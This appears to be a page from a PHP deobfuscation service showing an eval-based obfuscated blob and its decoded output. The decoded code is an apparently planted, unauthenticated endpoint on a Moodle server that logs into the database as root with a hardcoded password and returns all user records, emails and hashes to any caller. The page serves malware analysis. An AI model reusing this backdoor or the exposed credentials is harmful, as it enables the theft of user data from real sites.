Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(str_rot13(gzinflate(str_rot13(base64_decode('LUrFEsNTEv2aR7I3MdSexHUxX7bEzKyvj5SsWHJ7..

Decoded Output download

header("Content-Type: application/json");
header("Access-Control-Allow-Origin: *");
header("Content-Security-Policy: default-src 'self'; img-src 'self' http://181.211.10.246");
$db_host = "localhost";
$db_user = "root";
$db_pass = "Sucre-tic2019.";
$db_name = "moodle364";
$conn = new mysqli($db_host, $db_user, $db_pass, $db_name);
if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}
if ($_SERVER['REQUEST_METHOD'] === 'GET' && $_GET['action'] === 'getAllUsers') {
    $sql = "SELECT id, username, email FROM mdl_user";
    $result = $conn->query($sql);

    if ($result->num_rows > 0) {
        $users = [];
        while($row = $result->fetch_assoc()) {
            $users[] = $row;
        }
        echo json_encode($users);
    } else {
        echo json_encode([]);
    }
}
if ($_SERVER['REQUEST_METHOD'] === 'GET' && $_GET['action'] === 'getAllUserInfo') {
    if (!empty($_GET['user'])) {
        $stmt = $conn->prepare("SELECT * FROM mdl_user WHERE username = ?");
        $stmt->bind_param("s", $_GET['user']);
        $stmt->execute();
        $result = $stmt->get_result();
        if ($result->num_rows > 0) {
            echo json_encode($result->fetch_assoc());
        } else {
            echo json_encode([]);
        }
        $stmt->close();
    }
}
if ($_SERVER['REQUEST_METHOD'] === 'GET' && $_GET['action'] === 'getEmail') {
    if (!empty($_GET['user'])) {
        $stmt = $conn->prepare("SELECT email FROM mdl_user WHERE username = ?");
        $stmt->bind_param("s", $_GET['user']);
        $stmt->execute();
        $result = $stmt->get_result();
        if ($result->num_rows > 0) {
            echo json_encode($result->fetch_assoc());
        } else {
            echo json_encode([]);
        }
        $stmt->close();
    }
}

$conn->close();

Did this file decode correctly?

Original Code

eval(str_rot13(gzinflate(str_rot13(base64_decode('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')))));

Function Calls

strrev 3
gzinflate 11
str_rot13 11
gzuncompress 4
rawurldecode 1
base64_decode 18

Variables

None

Stats

MD5 8e25cf9166a1bd62004a58effdb30555
Eval Count 16
Decode Time 75 ms